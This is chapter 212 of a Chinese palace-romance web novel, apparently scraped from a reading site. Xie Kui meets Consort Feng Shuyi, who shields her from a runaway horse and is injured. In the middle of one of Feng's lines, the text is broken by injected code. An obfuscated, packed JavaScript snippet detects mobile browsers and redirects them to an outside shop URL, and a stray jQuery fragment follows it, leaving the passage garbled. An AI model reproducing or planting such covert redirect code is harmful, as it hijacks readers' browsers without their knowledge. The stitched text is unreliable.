第二百一十二章 你要去见哪家姑娘?
作品:《好孕娘娘娇媚撩人,绝嗣太子日日沉沦》 谢葵从宫中辞别出来,心情复杂难言。
回府后得知崔锦一早派人来接她,她便主动吩咐备车,准备去太子别庄。
出院时正好遇到谢长风。
他一袭白衣,清雅风流,衣裳头冠与玉佩都是全新,衬得人容光焕发,沿路走来时,还没到谢葵跟前,她就已闻到一股冷冽而淡的沉水香气。
谢葵顿时皱起眉:“猎场没花楼给你逛,你要去见哪家姑娘?”
若是见男人,他可不会这么收拾自己。
一旦认真打扮了,那必是要去勾引哪个姑娘了。
“大人事,小孩别管。”谢长风理了理衣袖,笑容风流又多情。
“若有喜欢的人,便认真些。”谢葵忍不住劝,“也别祸害好人家的姑娘。”
话落,她额头就被敲了一下。
再抬头时,只看到谢长风扬长而去的背影:“安你的心吧。”
谢葵并不安心。
但她也管不住谢长风。
她紧皱着眉上了马车,不多时便到了太子府别庄。
因着二门处近日修缮,只能在府外下车,谢葵站定时,正好遇到准备出门的冯书仪。
她迟疑一下,不知是东宫哪位。
冯书仪含笑上前:“这位是谢六姑娘?我是侧妃冯氏。”
谢葵忙依礼屈膝:“臣女见过冯侧妃。”
她膝盖还未弯下,便已被稳稳扶住手臂。
抬头时正对上冯书仪含笑的脸:“六姑娘快别客气,你是太子妃的表妹,说起来也是我的表妹了,咱们自家人,何须行此大礼?”
她态度和善自然,毫无架子。
谢葵也放松了些,却依旧客气:“多谢侧妃,礼不可废。”
冯书仪笑了声:“听说你刚从清河而来,家中父母可都安好?谢老大人与老夫人可还好?”
她问得极为细致,甚至比德妃之前的寒暄还要周到。
谢葵只当她是套近乎,毕竟想搭上谢氏的人不知凡几,便只得体回答。
“对了,昨儿我见太子妃在准备药材,似是谢老大人有老寒腿的旧疾?”冯书仪温声道,“老寒腿最是磨人,我有一份古方,对驱寒止痛颇有奇效,原是打算待会儿回府后送给太子妃的,直接给你倒也无妨。”
她含笑拿出方子,递给谢葵。
“这如何使得?”谢葵推辞道,“侧妃的秘方定然珍贵,臣女——”
“说什么珍贵不珍贵,有效才是正经。”冯书仪打断她,将药方塞进她手里。
谢葵便再未拒绝。
这冯侧妃本也是想送给表姐的,想是有意示好,稍后她见到表姐,提一嘴便是了。
但面上,她脸上的笑容真诚了许多:“那臣女就先替祖父谢过侧妃了。”
“举手之劳,六姑娘不必放在心上。”
略聊了几句,谢葵记挂着要见崔锦,便道:“臣女还要给太子妃请安,便不多打扰了。”
冯书仪笑着点头。
可谢葵刚迈出两步,长街拐角处便忽然传来一阵急促的马蹄声和惊呼。
——一匹失控的骏马嘶鸣着狂奔而来。
马背上的锦衣公子脸色煞白,死死抓着缰绳,却完全无法控制,只能大喊:“让开!快让开!这马疯了!”
府门口的侍卫反应迅速,立刻上前试图阻拦。
但那马速度太快,眨眼间已冲至近前,马头一偏,竟是直直朝着正站在台阶下的谢葵撞去!
“小心!”冯书仪想也没想,一个箭步冲上前,猛地抱着谢葵转身,将她推远了些。
可她自己的后背却露于马前。
谢葵被惊骇回头时,便正见马头即将撞去冯书仪后背的一幕。
“小心——”她瞳孔骤缩,心脏几乎跳出胸腔。
千钧一发之际,守门侍卫终于勒住了马头,咬牙使力,将马身调转。
但冯书仪已经被撞倒在地,脸色苍白。
“侧妃——”
谢葵连忙冲去冯书仪身边。
“您怎么样?伤到哪里了?”谢葵焦急地检查着她的状况,同时吩咐身边吓呆了的婢女,“快去找几个大力嬷嬷,将侧妃抱进去!再去请太医!快啊!”
婢女纷纷点头,连忙去做事。
“没、没事……”冯书仪倒吸着冷气,勉强撑起身子,“我、我好像只是手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903087|186283||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
臂摔着了,身子……应该无碍,你先扶我进去吧。”
谢葵见她额角已有冷汗,更不敢信这话。
但此刻倒在地上确实不是办法,她小心翼翼地扶住冯书仪没受伤的右臂,缓缓支撑她起身:“慢点,千万别用力……当心手臂……”
她极其小心地将冯书仪搀扶起来,扶她进门。
这时,大力嬷嬷也忙过来将冯书仪送了回去。
崔锦闻讯匆匆赶来时,太医和医女都已到了,正在内室为冯书仪诊治。
外间,谢葵脸色苍白而担忧地站着,眼中含泪却没有落下。
冯侧妃受了这么重的伤都没哭,她不能再添乱。
“怎么回事?”崔锦快步走到谢葵身边,握住她冰凉的手。
谢葵快速说了一遍经过,语气自责:“若不是我站在门口与冯侧妃说话,她不会为了救我受伤……”
“怎能怪你?”
内室里传来冯书仪虚弱却温和的安抚声:“是我非要与你闲聊,才致你险些被伤,若算来,该怪我才是。”
她话音落下,太医出来回禀:“回太子妃,冯侧妃左臂被擦伤,按时敷药即可,身子并无大碍。”
崔锦和谢葵都松了一口气。
“如春。”崔锦立刻吩咐,“将库房里的接骨膏、血燕、人参,还有前儿番邦进贡的那盒雪莲,都送到冯侧妃院里,再拨两个细心稳妥的嬷嬷过来伺候。”
“是。”如春转身离开。
崔锦这才与谢葵进了内室,两人纷纷道谢。
冯书仪笑了声:“太子妃与六姑娘这是做什么,自己人说什么恩不恩的,倒拿妾身当外人了。”
这句“自己人”叫谢葵心中动容,心中也渐渐真将冯书仪当成了自己人。
她虽被家族保护得好,但并不蠢,这世上能毫不犹豫拼命救她的也就那几个人。
冯书仪这么做了,事后不仅没有半分责怪,反而温言安慰,无论是恩情还是人品,都值得她深交。
而崔锦又安抚了冯书仪几句后,嘱咐谢葵陪她,才脸色沉凝地出门处理此事。
“查清楚了吗?究竟怎么回事?”出了院子,她问。

